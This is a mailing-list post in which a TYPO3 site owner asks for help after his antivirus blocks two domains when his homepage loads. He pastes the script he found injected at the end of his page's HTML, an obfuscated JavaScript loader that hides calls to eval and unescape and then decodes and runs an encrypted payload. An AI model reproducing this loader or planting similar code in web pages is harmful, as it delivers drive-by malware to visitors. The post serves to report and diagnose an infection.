[TYPO3-english] virus/worm on Typo3 installation.

[Asbjørn Morell]

Hi,

When I open my homepage Avast antivirus gives me a warning:

Access blocked to:
whitebiz.vn
wertionase.com

I looked at the html source and there is some encrypted javascript at the 
bottom. (see below) This can't be good. I tried replacing the Typo3 dir with 
a fresh source and cleared backend and frontend case. Any ideas wgere this 
is coming from? The webserver is hosted at servage.com

Best regards.
Asbjørn Morell.

</body>

</html><!-- ad --><script>window['e<v#a}l<'.replace(/[\}b\<#u]/g, 
'')](window['e<v#a}l<'.replace(/[\}b\<#u]/g, 
'')]('uDnDeTsTcTaTp4eT'.replace(/[N4,TD]/g, 
''))('%66%75%6e%63%74%69%6f%6e%20%41%6c%68%61%28%41%49%44%29%7b%66%75%6e%63%74%69%6f%6e%20%41%44%41%28%4c%41%48%61%68%29%7b%65%76%61%6c%28%22%76%61%72%20%50%61%54%4c%48%61%48%3d%30%3b%22%29%3b%76%61%72%20%41%70%54%6c%3d%4c%41%48%61%68%2e%6c%65%6e%67%74%68%3b%65%76%61%6c%28%22%76%61%72%20%41%49%68%70%47%6c%3d%30%3b%22%29%3b%77%68%69%6c%65%28%41%49%68%70%47%6c%3c%41%70%54%6c%29%7b%50%61%54%4c%48%61%48%2b%3d%41%68%6c%54%48%28%4c%41%48%61%68%2c%41%49%68%70%47%6c%29%2a%41%70%54%6c%3b%41%49%68%70%47%6c%2b%2b%3b%7d%72%65%74%75%72%6e%20%28%50%61%54%4c%48%61%48%2b%27%27%29%3b%7d%66%75%6e%63%74%69%6f%6e%20%41%68%6c%54%48%28%4c%6c%68%61%70%2c%4c%54%44%41%4c%47%29%7b%72%65%74%75%72%6e%20%4c%6c%68%61%70%2e%63%68%61%72%43%6f%64%65%41%74%28%4c%54%44%41%4c%47%29%3b%7d%20%20%20%74%72%79%20%7b%76%61%72%20%48%6c%6c%49%70%49%3d%65%76%61%6c%28%27%61%5a%72%5a%67%52%75%79%6d%57%65%57%6e%68%74%79%73%79%2e%79%63%5a%61%57%6c%57%6c%68%65%68%65%52%27%2e%72%65%70%6c%61%63%65%28%2f%5b%79%68%57%52%5a%5d%2f%67%2c%20%27%27%29%29%2c%41%47%41%54%49%3d%27%27%3b%76%61%72%20%41%54%6c%41%48%3d%30%2c%48%48%49%6c%3d%30%2c%41%70%48%6c%68%44%3d%28%6e%65%77%20%53%74%72%69%6e%67%28%48%6c%6c%49%70%49%29%29%2e%72%65%70%6c%61%63%65%28%2f%5b%5e%40%61%2d%7a%30%2d%39%41%2d%5a%5f%2e%2c%2d%5d%2f%67%2c%27%27%29%3b%76%61%72%20%41%61%54%50%3d%41%44%41%28%41%70%48%6c%68%44%29%3b%65%76%61%6c%28%22%41%49%44%3d%75%6e%65%73%63%61%70%65%28%41%49%44%29%3b%22%29%3b%66%6f%72%28%76%61%72%20%48%47%61%3d%30%3b%20%48%47%61%20%3c%20%28%41%49%44%2e%6c%65%6e%67%74%68%29%3b%20%48%47%61%2b%2b%29%7b%76%61%72%20%48%54%41%3d%41%68%6c%54%48%28%41%70%48%6c%68%44%2c%41%54%6c%41%48%29%5e%41%68%6c%54%48%28%41%61%54%50%2c%48%48%49%6c%29%3b%76%61%72%20%50%68%61%41%61%48%50%3d%41%68%6c%54%48%28%41%49%44%2c%48%47%61%29%3b%41%54%6c%41%48%2b%2b%3b%48%48%49%6c%2b%2b%3b%69%66%28%48%48%49%6c%3e%41%61%54%50%2e%6c%65%6e%67%74%68%29%48%48%49%6c%3d%30%3b%69%66%28%41%54%6c%41%48%3e%41%70%48%6c%68%44%2e%6c%65%6e%67%74%68%29%41%54%6c%41%48%3d%30%3b%41%47%41%54%49%2b%3d%53%74%72%69%6e%67%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%50%68%61%41%61%48%50%5e%48%54%41%29%20%2b%20%27%27%3b%7d%65%76%61%6c%28%41%47%41%54%49%29%3b%20%72%65%74%75%72%6e%20%41%47%41%54%49%3d%6e%75%6c%6c%3b%7d%63%61%74%63%68%28%65%29%7b%7d%7d%41%6c%68%61%28%27%25%33%32%25%33%38%25%33%36%25%33%38%25%33%36%25%33%37%25%33%33%25%33%32%25%36%31%25%31%36%25%30%30%25%31%36%25%33%64%25%33%36%25%35%62%25%33%63%25%36%65%25%34%65%25%32%61%25%33%38%25%32%64%25%32%65%25%37%38%25%30%64%25%30%31%25%31%32%25%33%65%25%35%33%25%31%66%25%36%61%25%33%34%25%33%63%25%32%32%25%32%37%25%33%33%25%31%33%25%33%64%25%33%65%25%34%38%25%33%61%25%31%30%25%31%65%25%31%61%25%32%37%25%32%64%25%34%37%25%32%32%25%33%32%25%32%37%25%31%32%25%32%39%25%31%33%25%37%36%25%36%62%25%31%61%25%31%36%25%32%35%25%33%31%25%37%35%25%33%65%25%37%31%25%37%35%25%35%63%25%36%36%25%33%66%25%37%64%25%33%64%25%32%35%25%33%38%25%37%38%25%37%34%25%31%61%25%30%37%25%30%35%25%32%65%25%37%32%25%35%65%25%37%34%25%36%66%25%32%61%25%31%62%25%33%30%25%32%31%25%32%37%25%35%37%25%31%63%25%33%31%25%36%63%25%31%36%25%30%33%25%30%37%25%33%63%25%30%64%25%33%61%25%34%38%25%33%65%25%31%33%25%31%33%25%32%34%25%37%34%25%34%62%25%35%37%25%33%66%25%37%34%25%31%30%25%31%65%25%30%61%25%30%30%25%30%65%25%32%64%25%32%63%25%37%64%25%31%35%25%30%62%25%32%66%25%32%37%25%36%66%25%37%39%25%30%65%25%32%66%25%30%38%25%32%65%25%31%65%25%35%64%25%37%36%25%35%30%25%34%35%25%37%64%25%37%66%25%37%64%25%32%64%25%36%63%25%33%32%25%33%39%25%32%34%25%31%32%25%31%38%25%30%65%25%30%32%25%33%65%25%31%64%25%32%30%25%33%33%25%30%62%25%37%39%25%36%62%25%33%39%25%32%35%25%33%39%25%31%62%25%33%65%25%33%63%25%33%62%25%30%38%25%31%30%25%33%66%25%32%32%25%37%30%25%36%62%25%33%66%25%34%65%25%37%64%25%34%64%25%35%39%25%31%35%25%35%31%25%33%37%25%33%37%25%33%33%25%30%36%25%30%36%25%32%38%25%30%36%25%33%33%25%33%32%25%32%32%25%33%33%25%37%38%25%37%39%25%34%66%25%33%62%25%32%66%25%31%63%25%33%30%25%33%61%25%32%36%25%35%35%25%36%61%25%36%63%25%35%36%25%35%35%25%34%63%25%35%34%25%31%35%25%32%63%25%32%32%25%33%65%25%31%62%25%33%36%25%32%34%25%30%61%25%37%61%25%33%38%25%31%31%25%32%37%25%30%32%25%34%62%25%32%35%25%32%39%25%32%61%25%33%63%25%30%32%25%32%31%25%32%61%25%33%64%25%33%62%25%32%62%25%32%35%25%37%33%25%30%30%25%37%61%25%35%62%25%37%64%25%32%37%25%31%37%25%32%61%25%33%66%25%32%63%25%37%65%25%36%37%25%33%31%25%34%30%25%32%38%25%32%34%25%33%62%25%31%62%25%30%65%25%33%39%25%33%65%25%33%61%25%33%39%25%31%35%25%35%61%25%36%38%25%33%62%25%33%33%25%33%61%25%33%34%25%32%30%25%33%66%25%32%34%25%30%36%25%34%35%25%34%32%25%34%35%25%32%34%25%35%32%25%34%62%25%33%33%25%33%31%25%30%38%25%34%65%25%35%61%25%36%62%25%33%30%25%36%64%25%34%64%25%31%61%25%37%32%25%36%31%25%34%38%25%33%38%25%32%61%25%35%39%25%34%35%25%30%33%25%32%32%25%32%32%25%36%34%25%32%33%25%30%39%25%33%61%25%31%64%25%37%36%25%34%33%25%37%34%25%36%63%27%29%3b'));</script><!-- 
/ad -->